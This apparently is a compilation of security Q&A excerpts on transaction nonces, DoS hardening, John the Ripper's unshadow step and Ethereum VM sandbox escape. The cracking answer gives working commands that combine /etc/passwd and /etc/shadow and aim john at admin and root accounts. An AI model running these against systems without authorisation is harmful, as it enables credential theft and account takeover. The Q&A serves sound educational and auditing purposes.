The nonce acts like a salt on the transaction, similar to how *nix systems store passwords. The nonce is used to add entropy to the value that is encrypted with your key, largely eliminating the chance that two transactions are encrypted and result in the same signature, and other similar cryptographic attacks.

I, as a paranoid, would say it is necessary to communicate in HTTPS when you're talking about money changing hands. With cleartext transmission, what's to stop me from intercepting full transaction records at my starbucks and sending them in as my own transactions, among other nasty actions?


Hosting multiple websites on the same server - Prevention from DoS I have an server which contains around 4 instances hosted on it. I am aware that if a DoS attack happens on one of the instances it will take down all the other instances too. How to prevent such a failure and harden my server?

You're using a single aggregated link, even though it's 4 way virtualised host. Up to a certain level, you cannot prevent dos attacks, so what you'll be trying to do is to keep the service up for legitimate users, and sinkhole everyone else.

This depends on the budget that you have on hand to do this, which in most small-medium enterprises is close to zero. Magic bullets are not possible and you'll need a layered solution in place.


Why is unshadowing needed? john /etc/shadow

look like working, because john will use many-many CPU for it. But why is unshadowing needed? Why isn't it enough to use "john /etc/shadow"? Because of the salting? Can someone explain why is unshadowing needed?

UPDATE: the unshadowing looks like this:

unshadow /etc/passwd /etc/shadow > /tmp/unshadowed
john /tmp/unshadowed

The unshadow utility combines the password hash stored in the /etc/shadow file with the contents of the /etc/passwd file. When the two files are combined, you can then crack users belonging to specific groups or skip users with expired credentials etc. For example, an expired file with have the shell=/etc/expired in /etc/passwd file, you can tell john to skip all those hashes which have a shell=/etc/expired option set:
john --shells=-/etc/expired <path of unshadow password file>

Note a minus sign infront of the shells parameter. If tell john to skip those hashes having the expired shell.

john --groups=admin,root <path of the unshadow password file>

The above command is going to crack only those accounts which are in the admin and root group. Hence when the two files are combined, you have a lot of flexibility which hashes you want to crack. But you can certainly use john just with the shadow file as well if you want to.


Sandbox escape of an isolated turing complete language? Ethereum's Solidity documentation states:

  The Ethereum Virtual Machine or EVM is the runtime environment for smart contracts in Ethereum. It is not only sandboxed but actually completely isolated, which means that code running inside the EVM has no access to network, filesystem or other processes.

Is limiting access to network, filesystem, and other processes enough to prevent a Turing complete language from sandbox escape?

Escape from sandboxes is done not on languages but on implementations. I have seen the following VM implementations:

pyethereum (Python)
go-ethereum (Go)
libethereum (C++)
EthereumJ (Java)
Ethereum JS (JavaScript)
Ethereum Client Haskell (Haskell)
ruby ethereum (Ruby)

Each implementation relies on the correctness of the compiler/interpreter and the correctness of the implementation itself. An attacker would want to escape from the Ethereum VM and to achieve this he'd have to exploit a combination of bugs in the compiler/interpreter/standard libraries and in the implementation itself. While a difficult task, it's by no means impossible (most likely, involving zero-days). I'd say libethereum is the most vulnerable one being implemented in C++...

In a few years, as Ethereum gains acceptance, there will come out a dominant implementation which will make the attacker's task easier (webthree-umbrella has the canonical Solidity compiler).

To provide defense-in-depth from such attacks, one would recommend running Ethereum sandboxes inside general-purpose VMs. Even then, the main method of preventing attacks will IMHO rely on checking contracts manually:

Go to EtherChain.org, get the contract's source code.
Get the bytecode you're being fed. Disassemble it yourself.
Compile the code and compare with the received bytecode. (See this question at Ethereum SE for details - turns out to be a PITA).
???
Avoid losses.
Start the hue and cry if you see a malicious contract...

Note: existence of two Turing-complete languages (Solidity and Serpent) and dozens of compiler versions (60+ Solidity legacy incarnations) at this stage makes it more difficult for the defender to detect malicious contracts.